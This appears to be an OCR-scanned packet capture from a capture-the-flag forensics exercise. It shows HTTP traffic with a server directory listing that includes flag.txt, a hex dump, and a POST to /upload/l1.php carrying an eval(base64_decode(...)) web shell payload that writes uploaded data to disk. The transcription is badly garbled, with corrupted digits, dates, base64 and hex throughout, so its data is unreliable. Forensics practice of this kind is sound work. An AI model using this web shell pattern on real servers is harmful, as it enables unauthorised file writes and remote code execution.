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Time Source Protocol Length Info
189 8.491449977 192.168.43.83 HTTP 474 HTTP/1.1 200 OK ({text/html)
195 8.586889274 192.168.43.83 HTTP 474 HTTP/1.1 200 OK (text/html)
639 26.245426915 192.168.43.83 HTTP 475 WTTP/1.1 200 OK (text/html)
641 26.245821034 192.168.43.83 HTTP 475 HTTP/1.1 200 OK (text/html)
1150 50.147576455 192.168.43.83 HTTP 515 HTTP/1.1 200 OK (text/html)
1314 65.547155778 192.168.43.83 HTTP 515 HTTP/1.1 200 OK (text/html)
1320 65.582424279 192.168.43.83 HTTP 515 HTTP/1.1 200 0K (text/html)
1367 70.304861262 192.168.43.83 HTTP 524 HTTP/1.1 200 OK (text/html)

Internet Protocol Version 4, Src: 192.168.43.83, Dst: 192.168.25.128
Transmission Control Protocol, Src Port: 88, Dst Port: 47856, Seq: 247, Ack: 206198, Len: 461
dypertext Transfer Protocol
Line-based text data: text/html
-3|./\t2017-12-08 11:42:11\t@\t@777\n
../\t2017-12-98 11:39:1@\t4896\t8777\n
1.php\t2017-12-88 11:33:16\t33\te666\n
6666.3pg\t2017-12-08 11:42:11\t102226\t0666\N
flag.txt\t2017-12-88 11:35:29\t17\t@666\n

30 @9 30 37 37 37 @a 2e 2e 2f @9 32 30 31 37 2d  0.0777.. ./.2017-
31 32 2d 30 38 20 31 31 3a 33 39 3a 31 30 @9 34 12-e8 11 :39:10.4
30 39 36 @9 30 37 37 37 @a 31 2e 7@ 68 70 @9 32  @96.9777 .1.php.2
39 31 37 2d 31 32 2d 3@ 38 20 31 31 3a 33 33 3a  @17-12-@ 8 11:33:
31 36 @9 33 33 @9 3@ 36 36 36 @a 36 36 36 36 2e  16.33.96 66.6666.
6a 7@ 67 @9 32 38 31 37 2d 31 32 2d 3¢ 38 20 31  jpg.2017 -12-08 1
31 3a 34 32 3a 31 31 @9 31 3@ 32 32 32 36 89 38 1:42:11. 182226.9@
5@ 36 36 36 0a THTMGULE 2= 74 78 74 €9 32 30 31  666.[ELE .txt.201
37 2d 31 32 2d 3@ 38 2@ 31 31 3a 33 35 3a 32 39 7-12-88 11:35:29
@9 31 37 @9 30 36 36 36 @a 68 65 6c 6c 6f 2e 7a  .17.8666 .hello.z
69 78 9 32 30 31 37 2d 31 32 2d 3@ 38 20 30 39  ip.2017- 12-88 @9
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POST /upload/l1.php HTTP/1.1
User-Agent: Java/1.8.8_151 L
Host: 192.168.43.83

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

Content-type: application/x-www-form-urlencoded

Content-Length: 284999

aa=@eval.
(base64_decode($_POST[action]));&action=QGluavezZXQoImRpc3BsYX1fZXIyb3J1zIiwiMCIpOBBzZXRfdGltZVIsalWl
pdCEWKTtAC2VeX21hZ21iX3F1b3R1c19ydW5@aW11KDAPO2VjaG80Ii8%2BFCIp0zskZj1iYXNINIRFZGVib2R1IKCRFUESTVFsi
ejEiXSk7IGM9IFIQTINUWYI6MiIdOyRjPXN@c19yZXBsYWNIKCIcciIsIiIsIGMpOYRIPXNOc19yZXBsYWN1KCIcbiIsIiIsIGM
pOyRidWY9IiI7ZmOyKCRpPTA7IGk8c3RybGVUKCRIKTskaSsOMikkYnVmLjllemxkZWNvZGUoIiUiLnN1YnNOcigkYywkaSwyKs
k7ZWNobyhAZndyaXR1KGZvcGVUKCRMLCI3IiksIGI1Zik%2FIJEI01IwIik702ViaG8oInw8LSIpO2RpZSEpOWH3D
%3D&z1=RDpcd2FtcDYOXHd3d1x1cGxVYWRCNIY2NiSqcGe

P FFDSFFEQ@R104A46494600010101007800780000F FDBE0430001010101010101010101010101010101010101018!
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©1219101910101912101010101FFCEO01108@13991E203012200021101031101FFC4001F00C001050101010101010000000
0080000000102030405060708090A0BFFC402B5100002010303020403050504040000017D01026300041108512213141061
516107227114328191A1082342B1C11552D1F@2433627282090A161718191A25262728292A3435363738393A43444546474
B494A535455565758595A636465666768696A737475767778797A838485868788898A52939495969798999AA2A3A4A5A6A
ASA9AAB2B3B4B5B6B7B8BIBAC2C3C4C5C6C7C8COCAD2D3DADSDED7D8DODAEL1E2E3E4ESEGE7EBEQEAF1F2F3FAFSF6F7F8F9
AFFC4001F0100030101010101010101010000000000000102030405060708090A0BFFC40085110002010204040304070504
0400010277000102031104052131061241510761711322328108144291A1B1C109233352F0156272D10A162434E125F117
8191A262728292A35363738393A434445464748494A535455565758595A636465666768696A737475767778797A8283848
B68788898A92939495969798999AA2A3A4A5A6A7ABA9AAB2B3B4B5B6B7B8B9BAC2C3C4C5C6C7CBCICAD2D3D4D5D6D7D8D9D
AE2E3E4ESEGE7EBE9EAF2F3F4FSF6F7F8FOFAFFDAGPOACE3010002110311003F0OFC18823DB997E62481211D6493F86143D9
14E812BCF5E30856C4310192E7DOCCAGEFFC30478E3BODFFO@FD8F352DA3DBBOAFO769F2C1FFO@964839699CF3866C9C11(]

B3D9ABSBE4ACOSFB69D5455EDC28724C9C703CD238D8SFC30A1F523AE3D4F6539D88632E4EEQ13080CAS7FESBCSFC31A7FD

F539AF568C36EFDF7BAD36FSBBDBBESF146DE3D79F4DDAFBAFA2F93D1EFA2B35B4657B90A6428036314F7C5BC1F967CC7DD

F7391DPB1C6CDBAGDOEB70A4292B9FF963177918FFO@CF47E3033B88C6324A8AABO20551D24F9B1EF7336781D4131A13C
38C7BB606BDBC4064B82FF@@30DFBEB34BD5635C7F021C671DBARCI435EAS28EDES6FFRO87D3F357B745A42FE4AS66B5F 3EF R
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